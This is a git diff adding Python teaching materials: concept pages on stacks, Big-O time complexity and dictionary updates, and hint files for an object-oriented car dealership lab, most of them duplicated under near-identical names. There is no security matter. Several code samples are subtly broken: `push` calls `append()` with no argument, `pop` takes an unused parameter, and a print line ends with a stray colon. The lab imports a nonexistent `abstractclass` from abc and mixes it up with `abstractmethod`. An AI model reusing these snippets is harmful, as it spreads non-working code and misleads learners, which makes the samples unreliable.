+ 1. The topmost element provides information about the number of elements in the stack and if the stack is full or empty.
+ 2. The last element to enter the stack will be the first to leave. (**Last In First Out - LIFO**).
+ 3. You cannot remove elements from an empty stack.
+ 4. Random access is not allowed - you cannot add or remove an element from the middle.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_PushPop - Concept.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_PushPop - Concept.md
new file mode 100644
index 00000000..cdaf17c1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_PushPop - Concept.md
@@ -0,0 +1,40 @@
+
+
+# Adding and Removing Items onto a Stack
+
+### Adding elements onto a stack
+
+What makes stacks very useful is that it allows us to add and remove elements into the data structure.
+
+This is done with `push` command. We create a function:
+
+```python
+def push(self, item):
+ self.items.append()
+```
+
+To use this function, we can simply use the line
+
+``` python
+stack.push("Random Element 1")
+```
+
+### Removing Elements from a Stack
+
+We can also remove elements from a stack. Similiar to adding, we need to create another function.
+
+``` python
+def pop(self, item):
+ return self.items.pop()
+```
+
+This **ALWAYS** removes the top most item in the stack.
+
+To use the function, we use the line:
+
+```python
+stack.pop()
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_PushPop - Concept.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_PushPop - Concept.mdx
new file mode 100644
index 00000000..cdaf17c1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_PushPop - Concept.mdx
@@ -0,0 +1,40 @@
+
+
+# Adding and Removing Items onto a Stack
+
+### Adding elements onto a stack
+
+What makes stacks very useful is that it allows us to add and remove elements into the data structure.
+
+This is done with `push` command. We create a function:
+
+```python
+def push(self, item):
+ self.items.append()
+```
+
+To use this function, we can simply use the line
+
+``` python
+stack.push("Random Element 1")
+```
+
+### Removing Elements from a Stack
+
+We can also remove elements from a stack. Similiar to adding, we need to create another function.
+
+``` python
+def pop(self, item):
+ return self.items.pop()
+```
+
+This **ALWAYS** removes the top most item in the stack.
+
+To use the function, we use the line:
+
+```python
+stack.pop()
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_Return information - Concept.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_Return information - Concept.md
new file mode 100644
index 00000000..6f85492e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_Return information - Concept.md
@@ -0,0 +1,44 @@
+
+
+# Printing Elements in a Stack
+
+As we know, stacks are a great data structure that we often use in Pythons. We need to be able to create function that returns what elements are inside the stack. This function should under `Class Stack():`
+
+``` python
+def get_stack(self):
+ return self.items
+```
+
+When we call this function, we should be able to access all the elemts inside the stack.
+
+To view what elements are inside, you can simply print the stack with this line of code:
+
+``` python
+print(stack.get_stack()):
+```
+
+### When Stack is Empty
+
+It is very important that when the stack has no elements inside it, we need a way to check for that. We can do that by creating another function under your `Class Stack():`:
+
+``` python
+def is_empty(self):
+ return self.items == []
+```
+
+If the stack has no elements in it, and we call the function, what should be returned is `True`
+
+If the stack does have elements in it, the function will return `False`
+
+### Peeking at the Stack
+
+```python
+def peek(self):
+ if not self.is_empty():
+ return self.items[-1]
+```
+
+This line of code lets us view the top of the stack. It allows us to view the first item on the stack.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_Return information - Concept.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_Return information - Concept.mdx
new file mode 100644
index 00000000..6f85492e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks_Return information - Concept.mdx
@@ -0,0 +1,44 @@
+
+
+# Printing Elements in a Stack
+
+As we know, stacks are a great data structure that we often use in Pythons. We need to be able to create function that returns what elements are inside the stack. This function should under `Class Stack():`
+
+``` python
+def get_stack(self):
+ return self.items
+```
+
+When we call this function, we should be able to access all the elemts inside the stack.
+
+To view what elements are inside, you can simply print the stack with this line of code:
+
+``` python
+print(stack.get_stack()):
+```
+
+### When Stack is Empty
+
+It is very important that when the stack has no elements inside it, we need a way to check for that. We can do that by creating another function under your `Class Stack():`:
+
+``` python
+def is_empty(self):
+ return self.items == []
+```
+
+If the stack has no elements in it, and we call the function, what should be returned is `True`
+
+If the stack does have elements in it, the function will return `False`
+
+### Peeking at the Stack
+
+```python
+def peek(self):
+ if not self.is_empty():
+ return self.items[-1]
+```
+
+This line of code lets us view the top of the stack. It allows us to view the first item on the stack.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Time Complexity - Concept.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Time Complexity - Concept.md
new file mode 100644
index 00000000..21211e4f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Time Complexity - Concept.md
@@ -0,0 +1,72 @@
+
+
+# Time Complexity
+
+Time Complexity boils down to the rate the runtime of a function increases as the input gets very large.
+
+Functions and algorithms can increase in a variety of different "times" and its important to know what each time represents.
+
+To determine the time function grows in, we look at each individual line and approximate how the increase in runtime as input increases.
+
+## Looking at a function
+
+``` python
+class_grade = [80, 73, 20, 45, 100]
+def GradeAverage(class_grade):
+
+ average = 0
+ count = 0
+ for i in class_grade:
+ average = average + i
+ count = count + 1
+ average = average / count
+
+ return average
+
+```
+
+To calculate the time, break the code by lines.
+
+```python
+average = 0
+count = 0
+```
+
+Both these lines will take a constant amount of time: *c~1~* and *c~2~* respectively.
+
+```python
+average = average + i
+count = count + 1
+```
+
+These lines also take a constant amount of time: *c~3~* and *c~4~* respectively. However, they repeat *n* amount of times so the runtime of these lines would be *n* * *c~3~* and *n* * *c~4~*.
+
+``` python
+average = average / count
+return average
+```
+
+ These lines take a constant amount of time *c~5~* and *c~6~*.
+
+When looking for time complexity, the fastest growing term determines the time the function grows in. For our function `AverageGrade` , it would run in linear time because the runtime of a function increases as n increases.
+
+### Big - O Notation
+
+We use Big-O notation to express the time a function grows in.
+
+* A function that grows in a *constant time* doesn't grow at all. A graph of its runtime vs input size would be a straight, constant line.
+* Growing in *Linear Time* means that the function of runtime vs input size increases at a steady rate. This means as the input size increases, the runtime increases at a constant rate.
+* Growing in *Quadratic Time* would mean that the graph of the function's runtime vs its input size would look like the graph of a quadratic function. This means that as the input size increases, the runtime increases at a faster and faster rate, unlike growing in *Linear time*.
+
+| Time | Big-O Notation |
+| ---------------- | -------------- |
+| Constant Time | O(1) |
+| Logarithmic Time | O(log n) |
+| Linear Time | O(n) |
+| Quadratic Time | O(n^2^)) |
+| Factorial Time | O(n!) |
+
+Time Complexity is very important when it comes to functions because it allows us to measure how fast a function will grow. Its important to understand what each specific time represents and which time is faster than others (the chart above goes from fastest to slowest from top to bottom) as it allows us to understand the speed with which our function performs as input size gets very large. Ideally, we would like our functions to be as fast as possible and we can only understand relative by speed by recognizing the different time complexities!
+
+**Time Complexity does not tell us the runtime of a function!! Calculating the runtime of a function is much harder because we have to consider hardware, IDE, etc**.
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Time Complexity - Concept.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Time Complexity - Concept.mdx
new file mode 100644
index 00000000..21211e4f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Time Complexity - Concept.mdx
@@ -0,0 +1,72 @@
+
+
+# Time Complexity
+
+Time Complexity boils down to the rate the runtime of a function increases as the input gets very large.
+
+Functions and algorithms can increase in a variety of different "times" and its important to know what each time represents.
+
+To determine the time function grows in, we look at each individual line and approximate how the increase in runtime as input increases.
+
+## Looking at a function
+
+``` python
+class_grade = [80, 73, 20, 45, 100]
+def GradeAverage(class_grade):
+
+ average = 0
+ count = 0
+ for i in class_grade:
+ average = average + i
+ count = count + 1
+ average = average / count
+
+ return average
+
+```
+
+To calculate the time, break the code by lines.
+
+```python
+average = 0
+count = 0
+```
+
+Both these lines will take a constant amount of time: *c~1~* and *c~2~* respectively.
+
+```python
+average = average + i
+count = count + 1
+```
+
+These lines also take a constant amount of time: *c~3~* and *c~4~* respectively. However, they repeat *n* amount of times so the runtime of these lines would be *n* * *c~3~* and *n* * *c~4~*.
+
+``` python
+average = average / count
+return average
+```
+
+ These lines take a constant amount of time *c~5~* and *c~6~*.
+
+When looking for time complexity, the fastest growing term determines the time the function grows in. For our function `AverageGrade` , it would run in linear time because the runtime of a function increases as n increases.
+
+### Big - O Notation
+
+We use Big-O notation to express the time a function grows in.
+
+* A function that grows in a *constant time* doesn't grow at all. A graph of its runtime vs input size would be a straight, constant line.
+* Growing in *Linear Time* means that the function of runtime vs input size increases at a steady rate. This means as the input size increases, the runtime increases at a constant rate.
+* Growing in *Quadratic Time* would mean that the graph of the function's runtime vs its input size would look like the graph of a quadratic function. This means that as the input size increases, the runtime increases at a faster and faster rate, unlike growing in *Linear time*.
+
+| Time | Big-O Notation |
+| ---------------- | -------------- |
+| Constant Time | O(1) |
+| Logarithmic Time | O(log n) |
+| Linear Time | O(n) |
+| Quadratic Time | O(n^2^)) |
+| Factorial Time | O(n!) |
+
+Time Complexity is very important when it comes to functions because it allows us to measure how fast a function will grow. Its important to understand what each specific time represents and which time is faster than others (the chart above goes from fastest to slowest from top to bottom) as it allows us to understand the speed with which our function performs as input size gets very large. Ideally, we would like our functions to be as fast as possible and we can only understand relative by speed by recognizing the different time complexities!
+
+**Time Complexity does not tell us the runtime of a function!! Calculating the runtime of a function is much harder because we have to consider hardware, IDE, etc**.
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Updating dictionary 2.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Updating dictionary 2.md
new file mode 100644
index 00000000..9d16e624
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Updating dictionary 2.md
@@ -0,0 +1,20 @@
+
+
+Dictionary are mutable. We can add new items or change the value of existing items using assignment operator.
+
+You can update a dictionary by adding a new entry or a key-value pair, modifying an existing entry, or deleting an existing entry as shown below in the simple example −
+
+```python
+# Declare a dictionary
+dict = {'Name': 'Zara', 'Age': 7, 'Class': 'First'}
+
+dict['Age'] = 8; # update existing entry
+dict['School'] = "DPS School"; # Add new entry
+
+print("dict['Age']: ", dict['Age'])
+print("dict['School']: ", dict['School'])
+```
+
+> Note: a dictionary allows you to dynamically add new keys with corresponding values or redefine values to an existing key following initialization.
+
+The code snippet above should reflect the appropriate changes on _dict_ such that it contains a new key _'School'_ and that _'Age'_ no longer has value _'7'_.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Updating dictionary.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Updating dictionary.md
new file mode 100644
index 00000000..9d16e624
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Updating dictionary.md
@@ -0,0 +1,20 @@
+
+
+Dictionary are mutable. We can add new items or change the value of existing items using assignment operator.
+
+You can update a dictionary by adding a new entry or a key-value pair, modifying an existing entry, or deleting an existing entry as shown below in the simple example −
+
+```python
+# Declare a dictionary
+dict = {'Name': 'Zara', 'Age': 7, 'Class': 'First'}
+
+dict['Age'] = 8; # update existing entry
+dict['School'] = "DPS School"; # Add new entry
+
+print("dict['Age']: ", dict['Age'])
+print("dict['School']: ", dict['School'])
+```
+
+> Note: a dictionary allows you to dynamically add new keys with corresponding values or redefine values to an existing key following initialization.
+
+The code snippet above should reflect the appropriate changes on _dict_ such that it contains a new key _'School'_ and that _'Age'_ no longer has value _'7'_.
\ No newline at end of file
diff --git a/Module3_Labs/.DS_Store b/Module3_Labs/.DS_Store
deleted file mode 100644
index 144bf9cc..00000000
Binary files a/Module3_Labs/.DS_Store and /dev/null differ
diff --git a/Module3_Labs/Lab2_CarDealershipLab/1 2.md b/Module3_Labs/Lab2_CarDealershipLab/1 2.md
new file mode 100644
index 00000000..5303bc02
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/1 2.md
@@ -0,0 +1,57 @@
+
+
+
+
+
+
+
+
+
+
+You are going to use object oriented programming (OOP) to write a program that allows the user to browse vehicles for a car dealership.
+
+There will be various comments scattered around the script file. Those with FINISHED are to be left alone, while those with TODO are to be completed by you. `pass` is used as a placeholder so your program will not crash with the missing function definitions.
+
+
+
+**Base class** → Vehicle
+
+**Inherited classes** → Car, Truck, Motorcycle
+
+(These classes inherit from Vehicle)
+
+
+
+The program will read in the information from a CSV file and store it into a **list** as either a Car, Truck, or Motorcycle.
+
+The user will be able to print out all the vehicles that have a specific attribute (Example: all Toyota makes, vehicles built in 1998, etc.).
+
+All attributes:
+
+* **make**
+* **model**
+* **year**
+* **mileage**
+
+In addition, you will have to complete the class definitions before you can use them.
+
+One is an **instance method** `final_sale_price` that calculates the final sale price of each vehicle based on:
+
+1. The class' `base_sale_price`
+2. The class' `rate`
+3. Each instance's `mileage`
+
+
+
+First, complete the class definitions. This include all the comments with TODO in them.
+
+
+
+**ABC Package:**
+
+Some of your classes will be abstract classes, which are classes that contain one or more abstract methods. Abstract methods have no implementation, but are declared inside the class. Python's **ABC** (Abstract Base Class) package will be useful for this assignment. To import this package use:
+
+```Python
+from abc import ABCMeta, abstractclass
+```
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/1.md b/Module3_Labs/Lab2_CarDealershipLab/1.md
new file mode 100644
index 00000000..5303bc02
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/1.md
@@ -0,0 +1,57 @@
+
+
+
+
+
+
+
+
+
+
+You are going to use object oriented programming (OOP) to write a program that allows the user to browse vehicles for a car dealership.
+
+There will be various comments scattered around the script file. Those with FINISHED are to be left alone, while those with TODO are to be completed by you. `pass` is used as a placeholder so your program will not crash with the missing function definitions.
+
+
+
+**Base class** → Vehicle
+
+**Inherited classes** → Car, Truck, Motorcycle
+
+(These classes inherit from Vehicle)
+
+
+
+The program will read in the information from a CSV file and store it into a **list** as either a Car, Truck, or Motorcycle.
+
+The user will be able to print out all the vehicles that have a specific attribute (Example: all Toyota makes, vehicles built in 1998, etc.).
+
+All attributes:
+
+* **make**
+* **model**
+* **year**
+* **mileage**
+
+In addition, you will have to complete the class definitions before you can use them.
+
+One is an **instance method** `final_sale_price` that calculates the final sale price of each vehicle based on:
+
+1. The class' `base_sale_price`
+2. The class' `rate`
+3. Each instance's `mileage`
+
+
+
+First, complete the class definitions. This include all the comments with TODO in them.
+
+
+
+**ABC Package:**
+
+Some of your classes will be abstract classes, which are classes that contain one or more abstract methods. Abstract methods have no implementation, but are declared inside the class. Python's **ABC** (Abstract Base Class) package will be useful for this assignment. To import this package use:
+
+```Python
+from abc import ABCMeta, abstractclass
+```
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/11 2.md b/Module3_Labs/Lab2_CarDealershipLab/11 2.md
new file mode 100644
index 00000000..29af417a
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/11 2.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Notice that all the inherited classes (Car and Motorcycle) both have vehicle_type() definitions to them. That means that vehicle_type is an **abstract class**, and you should make it so.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/11.md b/Module3_Labs/Lab2_CarDealershipLab/11.md
new file mode 100644
index 00000000..29af417a
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/11.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Notice that all the inherited classes (Car and Motorcycle) both have vehicle_type() definitions to them. That means that vehicle_type is an **abstract class**, and you should make it so.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/111 2.md b/Module3_Labs/Lab2_CarDealershipLab/111 2.md
new file mode 100644
index 00000000..26ec044f
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/111 2.md
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+To make a class function abstract, you need to import the abstractmethod function from the abc package.
+
+```python
+from abc import ABCMeta, abstractclass
+```
+
+
+
+Then add the decorator @abstractclass immediately above the function. Decorators allow us to alter functions or classes. They wrap a function or class and add functionality without having to actually alter the function or class. Notice how we use the @abstractmethod decorator above the `vehicle_type()` function to allow it to function as an abstract method.
+
+```python
+@abstractmethod
+def vehicle_type():
+ """Return a string of "Car", "Truck", or "Motorcycle" """
+ pass
+```
+
+Now this function will call the appropriate inherited class' `vehicle_type()`
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/111.md b/Module3_Labs/Lab2_CarDealershipLab/111.md
new file mode 100644
index 00000000..0b237044
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/111.md
@@ -0,0 +1,25 @@
+
+
+
+
+
+
+To make a class function abstract, you need to import the abstractmethod function from the abc package.
+
+```python
+from abc import ABCMeta, abstractclass
+```
+
+
+
+Then add the decorator @abstractclass immediately above the function. Decorators allow us to alter functions or classes. They wrap a function or class and add functionality without having to actually alter the function or class. Notice how we use the @abstractmethod decorator above the `vehicle_type()` function to allow it to function as an abstract method.
+
+```python
+@abstractmethod
+def vehicle_type():
+ """Return a string of "Car", "Truck", or "Motorcycle" """
+ pass
+```
+
+
+Now this function will call the appropriate inherited class' `vehicle_type()`
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/12 2.md b/Module3_Labs/Lab2_CarDealershipLab/12 2.md
new file mode 100644
index 00000000..115cd2bc
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/12 2.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+We have to understand which data comes from the class, and which come from instances of that class.
+
+`base_sale_price` is a class variable
+
+`rate` is a class variable
+
+`mileage` is an instance variable
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/12.md b/Module3_Labs/Lab2_CarDealershipLab/12.md
new file mode 100644
index 00000000..115cd2bc
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/12.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+We have to understand which data comes from the class, and which come from instances of that class.
+
+`base_sale_price` is a class variable
+
+`rate` is a class variable
+
+`mileage` is an instance variable
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/121 2.md b/Module3_Labs/Lab2_CarDealershipLab/121 2.md
new file mode 100644
index 00000000..069c7b58
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/121 2.md
@@ -0,0 +1,28 @@
+
+
+
+
+
+
+To use a class variable, type the class, a dot, then the class' variable name.
+
+To use an instance variable, type self, a dot, then the instance's variable name.
+
+
+
+`base_sale_price` is a class variable
+
+`rate` is a class variable
+
+`mileage` is an instance variable
+
+
+
+Here is `final_sale_price()` for the Car method.
+
+```python
+def final_sale_price(self):
+ return Car.base_sale_price - (int(self.mileage) * Car.rate)
+```
+
+Truck and Motorcyle are the same, except replace "Car" with either "Truck" or "Motorcycle".
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/121.md b/Module3_Labs/Lab2_CarDealershipLab/121.md
new file mode 100644
index 00000000..069c7b58
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/121.md
@@ -0,0 +1,28 @@
+
+
+
+
+
+
+To use a class variable, type the class, a dot, then the class' variable name.
+
+To use an instance variable, type self, a dot, then the instance's variable name.
+
+
+
+`base_sale_price` is a class variable
+
+`rate` is a class variable
+
+`mileage` is an instance variable
+
+
+
+Here is `final_sale_price()` for the Car method.
+
+```python
+def final_sale_price(self):
+ return Car.base_sale_price - (int(self.mileage) * Car.rate)
+```
+
+Truck and Motorcyle are the same, except replace "Car" with either "Truck" or "Motorcycle".
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/2 2.md b/Module3_Labs/Lab2_CarDealershipLab/2 2.md
new file mode 100644
index 00000000..e4ec1dda
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/2 2.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Parse the csv file `vehicles.csv` and store the data into instances of a class. Store these instances into a **list** and return them.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/2.md b/Module3_Labs/Lab2_CarDealershipLab/2.md
new file mode 100644
index 00000000..e4ec1dda
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/2.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Parse the csv file `vehicles.csv` and store the data into instances of a class. Store these instances into a **list** and return them.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/21 2.md b/Module3_Labs/Lab2_CarDealershipLab/21 2.md
new file mode 100644
index 00000000..dc3126b5
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/21 2.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Depending on which type of vehicle it is, you need to either call Car(), Truck(), or Motorcycle(). You can tell which one to call based on the first element of each row in the csv file.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/21.md b/Module3_Labs/Lab2_CarDealershipLab/21.md
new file mode 100644
index 00000000..dc3126b5
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/21.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Depending on which type of vehicle it is, you need to either call Car(), Truck(), or Motorcycle(). You can tell which one to call based on the first element of each row in the csv file.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/211 2.md b/Module3_Labs/Lab2_CarDealershipLab/211 2.md
new file mode 100644
index 00000000..b3f1346b
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/211 2.md
@@ -0,0 +1,58 @@
+
+
+
+
+
+
+First, you have to open the file as a CSV file (the CSV package is already imported) and use `next()` once read past the title row.
+
+```python
+with open(filename) as csvfile:
+ csv_reader = csv.reader(csvfile)
+ titles = next(csv_reader)
+ vehicles = []
+```
+Still under the `with`...`as` statement, iterate through each of the remaining rows of the csv_reader and store the data each into a variable with a reasonable name
+
+```python
+ for row in csv_reader:
+ vehicle_type, make, model = tuple(row[:3])
+ year, mileage = tuple(row[3:])
+```
+
+Now you have check which class to create an instance from. I stored the first column data into `vehicle_type` and that can be used to determine if it's a Car, Truck, or Motorcycle.
+
+Use an **if statement** to compare for strings.
+
+```python
+ if (vehicle_type == "Car"):
+ new_vehicle = Car(make, model, year, mileage)
+ elif (vehicle_type == "Truck"):
+ new_vehicle = Truck(make, model, year, mileage)
+ elif (vehicle_type == "Motorcycle"):
+ new_vehicle = Motorcycle(make, model, year, mileage)
+ vehicles.append(new_vehicle)
+
+ return vehicles
+```
+
+To make an instance, just pass in the correct arguments as defined in the class method `__init__()`
+
+```python
+ if (vehicle_type == "Car"):
+ new_vehicle = Car(make, model, year, mileage)
+ elif (vehicle_type == "Truck"):
+ new_vehicle = Truck(make, model, year, mileage)
+ elif (vehicle_type == "Motorcycle"):
+ new_vehicle = Motorcycle(make, model, year, mileage)
+
+```
+
+Don't forget to append `new_vehicle` to the return variable **vehicles** as well as return it.
+
+```python
+ vehicles.append(new_vehicle)
+
+ return vehicles
+```
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/211.md b/Module3_Labs/Lab2_CarDealershipLab/211.md
new file mode 100644
index 00000000..b3f1346b
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/211.md
@@ -0,0 +1,58 @@
+
+
+
+
+
+
+First, you have to open the file as a CSV file (the CSV package is already imported) and use `next()` once read past the title row.
+
+```python
+with open(filename) as csvfile:
+ csv_reader = csv.reader(csvfile)
+ titles = next(csv_reader)
+ vehicles = []
+```
+Still under the `with`...`as` statement, iterate through each of the remaining rows of the csv_reader and store the data each into a variable with a reasonable name
+
+```python
+ for row in csv_reader:
+ vehicle_type, make, model = tuple(row[:3])
+ year, mileage = tuple(row[3:])
+```
+
+Now you have check which class to create an instance from. I stored the first column data into `vehicle_type` and that can be used to determine if it's a Car, Truck, or Motorcycle.
+
+Use an **if statement** to compare for strings.
+
+```python
+ if (vehicle_type == "Car"):
+ new_vehicle = Car(make, model, year, mileage)
+ elif (vehicle_type == "Truck"):
+ new_vehicle = Truck(make, model, year, mileage)
+ elif (vehicle_type == "Motorcycle"):
+ new_vehicle = Motorcycle(make, model, year, mileage)
+ vehicles.append(new_vehicle)
+
+ return vehicles
+```
+
+To make an instance, just pass in the correct arguments as defined in the class method `__init__()`
+
+```python
+ if (vehicle_type == "Car"):
+ new_vehicle = Car(make, model, year, mileage)
+ elif (vehicle_type == "Truck"):
+ new_vehicle = Truck(make, model, year, mileage)
+ elif (vehicle_type == "Motorcycle"):
+ new_vehicle = Motorcycle(make, model, year, mileage)
+
+```
+
+Don't forget to append `new_vehicle` to the return variable **vehicles** as well as return it.
+
+```python
+ vehicles.append(new_vehicle)
+
+ return vehicles
+```
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/3 2.md b/Module3_Labs/Lab2_CarDealershipLab/3 2.md
new file mode 100644
index 00000000..9aa66f2b
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/3 2.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Finish writing the `print_unique()` function, which finds all the **unique** names that go under the attribute `attribute`. After you have them, print them all out sorted, then return the unique attributes. A `print_unique()` function is very helpful for a car dealer because it allows him or her to quickly access a sets of data containing all the car makes, car models, and years made in his or her lot.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/3.md b/Module3_Labs/Lab2_CarDealershipLab/3.md
new file mode 100644
index 00000000..9aa66f2b
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/3.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+Finish writing the `print_unique()` function, which finds all the **unique** names that go under the attribute `attribute`. After you have them, print them all out sorted, then return the unique attributes. A `print_unique()` function is very helpful for a car dealer because it allows him or her to quickly access a sets of data containing all the car makes, car models, and years made in his or her lot.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/31 2.md b/Module3_Labs/Lab2_CarDealershipLab/31 2.md
new file mode 100644
index 00000000..22274335
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/31 2.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+You are checking by which attribute to add to your group of unique attributes. In the `main()` output, there is "Make", "Model", and "Year", so you need to retrieve `make`, `model`, and `year` from each instance (stored in `vehicles`).
+
+
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/31.md b/Module3_Labs/Lab2_CarDealershipLab/31.md
new file mode 100644
index 00000000..22274335
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/31.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+You are checking by which attribute to add to your group of unique attributes. In the `main()` output, there is "Make", "Model", and "Year", so you need to retrieve `make`, `model`, and `year` from each instance (stored in `vehicles`).
+
+
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/311 2.md b/Module3_Labs/Lab2_CarDealershipLab/311 2.md
new file mode 100644
index 00000000..acc1dfca
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/311 2.md
@@ -0,0 +1,47 @@
+
+
+
+
+
+
+Sets are nice for getting unique values, so you should be using one as your data structure.
+
+Iterate through all the Vehicle instances in `vehicles` and use an **if statement** to check whether `attribute` matches either "Make", "Model", or "Year":
+
+```python
+unique_attributes = set()
+for vehicle in vehicles:
+ if (attribute == "Make"):
+ elif (attribute == "Model"):
+ elif (attribute == "Year"):
+```
+
+Only add that vehicle's attribute (not the vehicle itself) to your set, if it matches `attribute`.
+
+```python
+unique_attributes = set()
+for vehicle in vehicles:
+ if (attribute == "Make"):
+ unique_attributes.add(vehicle.make)
+ elif (attribute == "Model"):
+ unique_attributes.add(vehicle.model)
+ elif (attribute == "Year"):
+ unique_attributes.add(vehicle.year)
+```
+
+Sorting can be done with the `sorted` function. Also, print the unique attributes out for the user.
+
+```python
+# print out attributes sorted
+attr_sorted = sorted(unique_attributes)
+for attr in attr_sorted:
+ print(attr)
+print("")
+```
+
+Return the unique attributes at the end.
+
+```python
+return unique_attributes
+```
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/311.md b/Module3_Labs/Lab2_CarDealershipLab/311.md
new file mode 100644
index 00000000..acc1dfca
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/311.md
@@ -0,0 +1,47 @@
+
+
+
+
+
+
+Sets are nice for getting unique values, so you should be using one as your data structure.
+
+Iterate through all the Vehicle instances in `vehicles` and use an **if statement** to check whether `attribute` matches either "Make", "Model", or "Year":
+
+```python
+unique_attributes = set()
+for vehicle in vehicles:
+ if (attribute == "Make"):
+ elif (attribute == "Model"):
+ elif (attribute == "Year"):
+```
+
+Only add that vehicle's attribute (not the vehicle itself) to your set, if it matches `attribute`.
+
+```python
+unique_attributes = set()
+for vehicle in vehicles:
+ if (attribute == "Make"):
+ unique_attributes.add(vehicle.make)
+ elif (attribute == "Model"):
+ unique_attributes.add(vehicle.model)
+ elif (attribute == "Year"):
+ unique_attributes.add(vehicle.year)
+```
+
+Sorting can be done with the `sorted` function. Also, print the unique attributes out for the user.
+
+```python
+# print out attributes sorted
+attr_sorted = sorted(unique_attributes)
+for attr in attr_sorted:
+ print(attr)
+print("")
+```
+
+Return the unique attributes at the end.
+
+```python
+return unique_attributes
+```
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/4 2.md b/Module3_Labs/Lab2_CarDealershipLab/4 2.md
new file mode 100644
index 00000000..1f7c8d73
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/4 2.md
@@ -0,0 +1,9 @@
+
+
+
+
+
+
